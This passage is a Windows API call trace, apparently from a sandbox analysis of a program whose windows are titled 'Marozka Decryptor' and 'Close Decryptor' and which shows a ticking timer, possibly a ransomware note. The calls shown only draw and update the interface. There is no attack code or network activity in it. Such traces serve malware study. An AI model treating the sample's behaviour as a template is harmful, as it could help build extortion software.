(hdc=0x3010752) returned 1 [0175.587] GetTextAlign (hdc=0x3010752) returned 0x0 [0175.587] GetTextColor (hdc=0x3010752) returned 0x0 [0175.587] SetTextColor (hdc=0x3010752, color=0x6994f5) returned 0x0 [0175.587] GetCurrentObject (hdc=0x3010752, type=0x6) returned 0x8a01c2 [0175.587] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e444 | out: pv=0x19e444) returned 92 [0175.588] SelectObject (hdc=0x3010752, h=0x110a0722) returned 0x8a01c2 [0175.588] GetBkMode (hdc=0x3010752) returned 2 [0175.588] SetBkMode (hdc=0x3010752, mode=1) returned 2 [0175.588] DrawTextExW (in: hdc=0x3010752, lpchText="Close Decryptor", cchText=15, lprc=0x19e52c, format=0x102415, lpdtp=0x3080bfc | out: lpchText="Close Decryptor", lprc=0x19e52c) returned 60 [0175.588] DrawTextExW (in: hdc=0x3010752, lpchText="Close Decryptor", cchText=15, lprc=0x19e690, format=0x102015, lpdtp=0x3080bfc | out: lpchText="Close Decryptor", lprc=0x19e690) returned 60 [0175.588] RestoreDC (hdc=0x3010752, nSavedDC=-1) returned 1 [0175.589] GdipReleaseDC (graphics=0x6926780, hdc=0x3010752) returned 0x0 [0175.589] GetFocus () returned 0x0 [0175.589] GetFocus () returned 0x0 [0175.589] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e794) returned 0x0 [0175.589] GdipDrawRectangleI (graphics=0x6926780, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0175.589] GdipDeletePen (pen=0x6915e78) returned 0x0 [0175.589] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e778) returned 0x0 [0175.589] GdipDrawRectangleI (graphics=0x6926780, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0175.589] GdipDeletePen (pen=0x6915e78) returned 0x0 [0175.589] GdipGetDC (graphics=0x6926780, hdc=0x19e918) returned 0x0 [0175.589] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=178, cy=111, hdcSrc=0x3010752, x1=0, y1=0, rop=0xcc0020) returned 1 [0175.589] GdipReleaseDC (graphics=0x6926780, hdc=0x3010752) returned 0x0 [0175.589] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0175.589] SelectObject (hdc=0x3010752, h=0x85000f) returned 0x8050721 [0175.589] DeleteDC (hdc=0x3010752) returned 1 [0175.589] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0175.589] EndPaint (hWnd=0x30212, lpPaint=0x19e8bc) returned 1 [0175.590] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.590] GetMessageA (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.590] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.590] DispatchMessageA (lpMsg=0x19ee78) returned 0x0 [0175.590] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.590] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.590] WaitMessage () returned 1 [0175.598] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.598] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.598] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.598] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.598] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.598] SetCursor (hCursor=0x10003) returned 0x10003 [0175.599] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.599] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.599] GetKeyState (nVirtKey=1) returned 0 [0175.599] GetKeyState (nVirtKey=2) returned 0 [0175.599] GetKeyState (nVirtKey=4) returned 0 [0175.599] GetKeyState (nVirtKey=5) returned 0 [0175.599] GetKeyState (nVirtKey=6) returned 0 [0175.599] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.599] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.599] WaitMessage () returned 1 [0175.760] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.760] IsWindowUnicode (hWnd=0x50074) returned 1 [0175.760] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.761] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.761] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.761] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0175.761] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0175.761] GetSystemMetrics (nIndex=42) returned 0 [0175.761] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:16") returned 8 [0175.761] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0175.761] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0175.761] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0175.761] GetSystemMetrics (nIndex=42) returned 0 [0175.761] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:16") returned 8 [0175.761] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0175.761] SetWindowTextW (hWnd=0x20236, lpString="06:58:17") returned 1 [0175.761] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x3080d28) returned 0x1 [0175.762] GetStockObject (i=5) returned 0x900015 [0175.762] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0175.762] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0175.762] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0175.762] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0175.762] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0175.762] GetSystemMetrics (nIndex=42) returned 0 [0175.762] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:17") returned 8 [0175.762] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0175.763] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0175.763] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0175.763] SelectObject (hdc=0x8e0106dd, h=0x4f0a0711) returned 0x110a0722 [0175.763] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:17", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x3080f18 | out: lpchText="06:58:17", lprc=0x19e938) returned 50 [0175.763] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0175.763] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0175.763] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.763] GetSystemMetrics (nIndex=42) returned 0 [0175.763] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0175.763] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0175.763] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.763] IsWindowUnicode (hWnd=0x20236) returned 1 [0175.763] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.763] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.763] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.764] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0175.764] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0175.764] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x7010755 [0175.764] SelectObject (hdc=0x7010755, h=0x8050721) returned 0x85000f [0175.764] GdipCreateFromHDC (hdc=0x7010755, graphics=0x19e8e4) returned 0x0 [0175.764] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0175.764] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0175.764] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0175.765] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0175.765] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0175.765] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0175.765] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75c20) returned 0x0 [0175.765] LocalFree (hMem=0xf75c20) returned 0x0 [0175.765] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0175.765] GdipCreateRegion (region=0x19e92c) returned 0x0 [0175.765] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0175.765] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0175.765] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0175.765] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0175.765] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0175.765] GetSystemMetrics (nIndex=42) returned 0 [0175.765] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:17") returned 8 [0175.765] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0175.765] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0175.765] GdipCreateRegion (region=0x19e780) returned 0x0 [0175.765] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0175.765] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0175.765] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0175.765] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0175.766] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0175.766] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0175.766] LocalFree (hMem=0xf75c20) returned 0x0 [0175.766] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0175.766] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0175.766] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0175.766] LocalFree (hMem=0xf75bb0) returned 0x0 [0175.766] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0175.766] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0175.766] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0175.767] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0175.767] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0175.767] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0175.767] GetCurrentObject (hdc=0x7010755, type=0x1) returned 0xb00017 [0175.767] GetCurrentObject (hdc=0x7010755, type=0x2) returned 0x900010 [0175.767] GetCurrentObject (hdc=0x7010755, type=0x7) returned 0x8050721 [0175.767] GetCurrentObject (hdc=0x7010755, type=0x6) returned 0x8a01c2 [0175.767] SaveDC (hdc=0x7010755) returned 1 [0175.767] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x100406fe [0175.767] GetClipRgn (hdc=0x7010755, hrgn=0x100406fe) returned 0 [0175.767] SelectClipRgn (hdc=0x7010755, hrgn=0xa30406f7) returned 2 [0175.768] DeleteObject (ho=0x100406fe) returned 1 [0175.768] DeleteObject (ho=0xa30406f7) returned 1 [0175.768] OffsetViewportOrgEx (in: hdc=0x7010755, x=0, y=0, lppt=0x30812e8 | out: lppt=0x30812e8) returned 1 [0175.768] GetNearestColor (hdc=0x7010755, color=0x22a3f8) returned 0x22a3f8 [0175.768] CreateSolidBrush (color=0x22a3f8) returned 0x5010073a [0175.768] FillRect (hDC=0x7010755, lprc=0x19e7cc, hbr=0x5010073a) returned 1 [0175.768] DeleteObject (ho=0x5010073a) returned 1 [0175.768] RestoreDC (hdc=0x7010755, nSavedDC=-1) returned 1 [0175.768] GdipReleaseDC (graphics=0x6926780, hdc=0x7010755) returned 0x0 [0175.768] GdipRestoreGraphics (graphics=0x6926780, state=0xfcf60dbd) returned 0x0 [0175.768] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0175.768] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0175.768] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0175.768] GetSystemMetrics (nIndex=42) returned 0 [0175.768] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:17") returned 8 [0175.768] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0175.768] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0175.769] GetCurrentObject (hdc=0x7010755, type=0x1) returned 0xb00017 [0175.769] GetCurrentObject (hdc=0x7010755, type=0x2) returned 0x900010 [0175.769] GetCurrentObject (hdc=0x7010755, type=0x7) returned 0x8050721 [0175.769] GetCurrentObject (hdc=0x7010755, type=0x6) returned 0x8a01c2 [0175.769] SaveDC (hdc=0x7010755) returned 1 [0175.769] GetNearestColor (hdc=0x7010755, color=0x0) returned 0x0 [0175.769] RestoreDC (hdc=0x7010755, nSavedDC=-1) returned 1 [0175.769] GdipReleaseDC (graphics=0x6926780, hdc=0x7010755) returned 0x0 [0175.769] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0175.769] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0175.770] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0175.770] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0175.770] GetCurrentObject (hdc=0x7010755, type=0x1) returned 0xb00017 [0175.770] GetCurrentObject (hdc=0x7010755, type=0x2) returned 0x900010 [0175.770] GetCurrentObject (hdc=0x7010755, type=0x7) returned 0x8050721 [0175.770] GetCurrentObject (hdc=0x7010755, type=0x6) returned 0x8a01c2 [0175.770] SaveDC (hdc=0x7010755) returned 1 [0175.770] GetTextAlign (hdc=0x7010755) returned 0x0 [0175.770] GetTextColor (hdc=0x7010755) returned 0x0 [0175.770] GetCurrentObject (hdc=0x7010755, type=0x6) returned 0x8a01c2 [0175.770] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0175.770] SelectObject (hdc=0x7010755, h=0x4f0a0711) returned 0x8a01c2 [0175.770] GetBkMode (hdc=0x7010755) returned 2 [0175.770] SetBkMode (hdc=0x7010755, mode=1) returned 2 [0175.770] DrawTextExW (in: hdc=0x7010755, lpchText="06:58:17", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x308177c | out: lpchText="06:58:17", lprc=0x19e708) returned 50 [0175.771] RestoreDC (hdc=0x7010755, nSavedDC=-1) returned 1 [0175.771] GdipReleaseDC (graphics=0x6926780, hdc=0x7010755) returned 0x0 [0175.771] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0175.771] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=154, cy=50, hdcSrc=0x7010755, x1=0, y1=0, rop=0xcc0020) returned 1 [0175.771] GdipReleaseDC (graphics=0x6926780, hdc=0x7010755) returned 0x0 [0175.771] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0175.771] SelectObject (hdc=0x7010755, h=0x85000f) returned 0x8050721 [0175.771] DeleteDC (hdc=0x7010755) returned 1 [0175.771] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0175.771] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0175.772] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.772] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.772] WaitMessage () returned 1 [0175.858] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.859] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.859] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.859] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.859] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.859] SetCursor (hCursor=0x10003) returned 0x10003 [0175.859] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.859] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.859] GetKeyState (nVirtKey=1) returned 0 [0175.859] GetKeyState (nVirtKey=2) returned 0 [0175.859] GetKeyState (nVirtKey=4) returned 0 [0175.859] GetKeyState (nVirtKey=5) returned 0 [0175.859] GetKeyState (nVirtKey=6) returned 0 [0175.859] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.859] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.860] WaitMessage () returned 1 [0175.928] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.928] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.929] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.929] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.929] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.929] SetCursor (hCursor=0x10003) returned 0x10003 [0175.929] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.929] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.929] GetKeyState (nVirtKey=1) returned 0 [0175.929] GetKeyState (nVirtKey=2) returned 0 [0175.929] GetKeyState (nVirtKey=4) returned 0 [0175.929] GetKeyState (nVirtKey=5) returned 0 [0175.929] GetKeyState (nVirtKey=6) returned 0 [0175.929] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.929] IsWindowUnicode (hWnd=0xa0052) returned 1 [0175.929] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.929] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.929] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.930] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.930] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.930] WaitMessage () returned 1 [0175.946] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.947] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.947] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.947] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.947] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.949] SetCursor (hCursor=0x10003) returned 0x10003 [0175.949] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.949] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.950] GetKeyState (nVirtKey=1) returned 0 [0175.950] GetKeyState (nVirtKey=2) returned 0 [0175.950] GetKeyState (nVirtKey=4) returned 0 [0175.950] GetKeyState (nVirtKey=5) returned 0 [0175.950] GetKeyState (nVirtKey=6) returned 0 [0175.950] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.950] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.950] WaitMessage () returned 1 [0175.975] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.975] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.975] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.975] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.975] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.975] SetCursor (hCursor=0x10003) returned 0x10003 [0175.976] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.976] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.976] GetKeyState (nVirtKey=1) returned 0 [0175.976] GetKeyState (nVirtKey=2) returned 0 [0175.976] GetKeyState (nVirtKey=4) returned 0 [0175.976] GetKeyState (nVirtKey=5) returned 0 [0175.976] GetKeyState (nVirtKey=6) returned 0 [0175.976] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.976] IsWindowUnicode (hWnd=0x1023e) returned 1 [0175.976] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.976] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.976] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.976] BeginPaint (in: hWnd=0x1023e, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x60100ce [0175.976] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0175.976] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0175.977] GetWindowTextLengthW (hWnd=0x1023e) returned 17 [0175.977] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0175.977] GetSystemMetrics (nIndex=42) returned 0 [0175.977] GetWindowTextW (in: hWnd=0x1023e, lpString=0x19e86c, nMaxCount=18 | out: lpString="Marozka Decryptor") returned 17 [0175.977] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xd, wParam=0x12, lParam=0x19e86c) returned 0x11 [0175.977] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0175.977] EndPaint (hWnd=0x1023e, lpPaint=0x19e8e4) returned 1 [0175.977] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.977] IsWindowUnicode (hWnd=0x8004e) returned 1 [0175.977] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.977] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.977] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.977] BeginPaint (hWnd=0x8004e, lpPaint=0x19e8fc) [0175.978] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0175.978] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e59c | out: lpRect=0x19e59c) returned 1 [0175.978] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0175.978] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.978] GetSystemMetrics (nIndex=42) returned 0 [0175.978] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e47c, nMaxCount=1 | out: lpString="") returned 0 [0175.978] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e47c) returned 0x0 [0175.978] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e4a4 | out: lpRect=0x19e4a4) returned 1 [0175.978] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0175.978] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0175.978] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0175.978] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0175.978] SaveDC (hdc=0x60100ce) returned 1 [0175.979] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0175.979] EndPaint (hWnd=0x8004e, 